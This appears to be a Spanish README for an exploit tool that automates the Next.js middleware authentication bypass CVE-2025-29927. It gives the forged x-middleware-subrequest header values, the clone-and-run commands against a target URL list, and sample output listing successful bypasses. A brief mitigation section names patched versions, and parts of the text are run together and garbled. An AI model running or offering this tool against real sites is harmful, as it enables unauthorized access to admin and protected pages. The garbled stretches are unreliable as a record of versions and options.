
CVE-2025-29927: Next.js Middleware Exploit
Esta herramienta demuestra y automatiza la explotación de la CVE-2025-29927, una vulnerabilidad en Next.js que permite a un atacante omitir las comprobaciones de middleware (como la autenticación) abusando de la cabecera interna x-middleware-subrequest.
Next.js usa internamente la cabecera x-middleware-subrequest para evitar bucles infinitos en solicitudes recursivas. Sin embargo, esta cabecera no está protegida contra la manipulación externa en ciertas versiones, lo que permite a un actor malicioso falsificarla.
Al establecer esta cabecera manualmente, la lógica de middleware responsable de aplicar autenticación, redirecciones, registro o filtrado se omite por completo.
x-middleware-subrequest403 se convierte en 20015.2.314.2.2513.5.9next start con salida: standalone)next export)Normal Request:
GET /admin --> 403 Forbidden
Request with Header:
GET /admin --> 200 OK
x-middleware-subrequest: middleware
Incluso si el objetivo verifica la autenticación mediante middleware, esto lo omite por completo.
git clone https://github.com/0x0Luk/0xMiddleware.git
cd 0xMiddleware
Crea un archivo llamado urls.txt con una URL por línea:
https://target.com/admin
https://target.com/_next/static/asset.js
python3 0xMiddleware.py urls.txt
Envía solicitudes a cada URL con y sin la cabecera de explotación
Usa múltiples variaciones de payload:
middlewarepages/_middlewaresrc/middlewareRegistra:
middleware_exploited.txt: para bypass reales (403 → 200)middleware_response_diff.txt: cuando el contenido de la respuesta difiereActualiza Next.js inmediatamente a una versión segura:
15.2.3+14.2.25+13.5.9+Además:
getServerSideProps, JWT, sesiones)[✔] Bypass successful: https://target.com/admin (payload: middleware)
[•] Response difference detected: https://target.com/login (payload: src/middleware)
[✔] Found 3 bypasses > middleware_exploited.txt
[•] Found 5 response diffs > middleware_response_diff.txt